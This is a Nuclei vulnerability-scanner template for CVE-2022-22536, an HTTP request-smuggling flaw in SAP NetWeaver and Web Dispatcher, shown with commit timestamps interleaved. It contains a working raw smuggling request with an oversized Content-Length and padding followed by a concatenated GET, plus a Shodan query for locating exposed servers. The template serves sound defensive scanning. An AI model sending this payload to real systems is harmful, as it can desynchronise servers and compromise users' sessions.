nuclei-templates/http/cves/2022/CVE-2022-22536.yaml

74 lines
2.9 KiB
YAML
Raw Normal View History

id: CVE-2022-22536
info:
name: SAP Memory Pipes (MPI) Desynchronization
author: pdteam
severity: critical
description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can result in unauthorized access to sensitive data and potential data leakage.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest security patches and updates provided by SAP to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22536
- https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
- https://github.com/Onapsis/onapsis_icmad_scanner
- https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
2023-07-11 19:49:27 +00:00
- https://launchpad.support.sap.com/#/notes/3123396
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22536
cwe-id: CWE-444
epss-score: 0.95701
epss-percentile: 0.99283
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:sap:content_server:7.53:*:*:*:*:*:*:*
2022-07-21 18:26:54 +00:00
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: sap
product: content_server
2023-09-06 11:59:08 +00:00
shodan-query: http.favicon.hash:-266008933
tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev
http:
- raw:
- |+
GET {{sap_path}} HTTP/1.1
Host: {{Hostname}}
Content-Length: 82646
Connection: keep-alive
{{repeat("A", 82642)}}
GET / HTTP/1.1
Host: {{Hostname}}
payloads:
2023-07-11 19:49:27 +00:00
sap_path:
# based on https://github.com/Onapsis/onapsis_icmad_scanner
- /sap/admin/public/default.html
- /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
2023-07-11 19:49:27 +00:00
stop-at-first-match: true
unsafe: true
read-all: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- "contains(tolower(body), 'administration')"
- "contains(tolower(header), 'content-type: image/png')"
condition: or
- type: word
part: body
words:
2022-03-05 15:27:11 +00:00
- "HTTP/1.0 400 Bad Request" # error in concatenated response
- "HTTP/1.0 500 Internal Server Error"
- "HTTP/1.0 500 Dispatching Error"
2022-03-03 21:18:25 +00:00
condition: or
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 490a00463044022062015351e1bd7d8484e9829d06901344a55651711e21f64f28a2bce04ad9778b02207fa74aaa8d9b17a2c0cd9bd0dc8d52b9e88403c3e1aa8977b5b0fd625985ea0e:922c64590222798bb761d5b6d8e72950